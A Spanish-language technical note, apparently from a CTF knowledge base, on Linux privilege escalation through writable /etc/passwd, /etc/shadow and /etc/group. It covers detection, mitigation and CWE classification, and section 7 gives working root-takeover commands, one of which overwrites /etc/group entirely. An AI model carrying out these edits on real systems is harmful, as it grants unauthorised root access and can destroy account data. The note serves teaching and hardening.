1. Descripción técnica del ataque
Esta técnica de escalada de privilegios abusa de permisos incorrectos sobre archivos críticos del sistema que definen usuarios, contraseñas y grupos. Cuando uno de estos ficheros es escribible por un usuario sin privilegios, este puede modificarlo para obtener acceso como root o como un usuario privilegiado. Los archivos más relevantes son:
/etc/passwd: define las cuentas del sistema. Históricamente podía contener el hash de la contraseña en el segundo campo (xindica que está en/etc/shadow). Si es escribible, se puede:- Reemplazar la
xderootpor un hash de contraseña conocido (generado conopenssl passwd). - Añadir un nuevo usuario con UID 0.
- Reemplazar la
/etc/shadow: contiene los hashes reales de las contraseñas. Si es escribible, se puede sustituir el hash derootpor uno controlado. La lectura mediante el gruposhadowes una exposición distinta: puede habilitar un ataque fuera de línea contra los hashes, pero no concede capacidad de modificación./etc/group: define los grupos. Si es escribible, un usuario puede autoasignarse a grupos privilegiados comosudo,rootoshadow, aunque el efecto concreto depende de las políticas asociadas a cada grupo.
2. Impacto de la vulnerabilidad
- Escalada a root de forma directa y fiable.
- Persistencia trivial (cuenta con UID 0 o contraseña conocida).
- En el caso de
/etc/group, acceso a grupos que habilitan otras vías (p. ej.sudoo lectura de/etc/shadow).
3. Historia y evolución
- Es una clase de error de configuración tan antigua como el modelo de permisos de Unix.
- Sigue siendo muy común en CTFs y en sistemas con permisos mal endurecidos (a menudo introducidos por scripts de despliegue descuidados).
4. Condiciones necesarias
- Permisos de escritura para usuarios no privilegiados sobre
/etc/passwd,/etc/shadowo/etc/group. - Pertenencia a grupos como
shadow(lectura de hashes) por una asignación incorrecta. - Falta de controles de integridad sobre estos archivos.
5. Validación y detección
ls -l /etc/passwd /etc/shadow /etc/group
id # ¿pertenezco a grupos como shadow, sudo, adm...?
find / -writable -type f 2>/dev/null | grep -E '/etc/(passwd|shadow|group)'Herramientas como LinPEAS señalan automáticamente estos archivos cuando son escribibles.
6. Mitigación
- Restaurar propietarios y permisos según la distribución:
/etc/passwdy/etc/groupsuelen ser644 root:root;/etc/shadowno debe ser escribible por usuarios no autorizados. La propiedad y el modo exactos deben compararse con los valores del paquete y la política del sistema. - Revisar las pertenencias a grupos sensibles (
shadow,sudo,adm,disk). - Auditar los scripts de despliegue que tocan estos ficheros.
- Usar herramientas de integridad (AIDE, auditd) para detectar cambios.
7. Ejemplos de laboratorio y casos documentados
Los writeups 017-tron, 066-ephemeral_3 y 121-p4l4nc4 documentan escritura sobre /etc/passwd; 095-hundred registra escritura sobre /etc/shadow; 052-blackhat modifica una política bajo /etc/sudoers.d; y 129-umz combina un binario SUID con escritura sobre el archivo crítico. Los bloques siguientes muestran las variantes generales conservadas en esta nota.
Caso /etc/passwd escribible: generamos un hash y reemplazamos el campo de contraseña de root:
❯ openssl passwd -1
Password: 1234
$1$pIbEKbAQ$hpMd40txGbBrL.iqh.6/51
# en la víctima, editar /etc/passwd:
root:$1$pIbEKbAQ$hpMd40txGbBrL.iqh.6/51:0:0:root:/root:/bin/bash
$ su root # contraseña: 1234Caso /etc/group escribible: nos añadimos al grupo sudo:
lancer@lower:~$ echo 'sudo:x:27:lancer' > /etc/group
lancer@lower:~$ su lancer # recargar grupos
lancer@lower:~$ id
uid=1000(lancer) ... grupos=1000,27(sudo)
lancer@lower:~$ sudo bash
root@lower:/home/lancer#Caso /etc/shadow escribible (grupo shadow): sustituimos el hash de root por uno de contraseña vacía:
❯ openssl passwd -1 # con contraseña vacía
$1$3rtnhbQf$d6bF.2.8NcXKURXi.E8fg/
# en la víctima, editar /etc/shadow:
root:$1$3rtnhbQf$d6bF.2.8NcXKURXi.E8fg/:20134:0:99999:7:::
$ su root # contraseña vacía8. Clasificación
- Tipo: Privilege Escalation / Incorrect Permission Assignment
- CWE:
- CWE-732 – Incorrect Permission Assignment for Critical Resource
- CWE-276 – Incorrect Default Permissions
9. Resumen
Cuando /etc/passwd, /etc/shadow, /etc/group o una política equivalente son escribibles por usuarios sin privilegios, su contenido puede alterar identidades, autenticación o autorización. Pertenecer al grupo shadow sólo concede la lectura definida por la distribución y no equivale a controlar el archivo. La defensa consiste en restaurar propietarios y permisos, además de auditar ACL y pertenencias a grupos.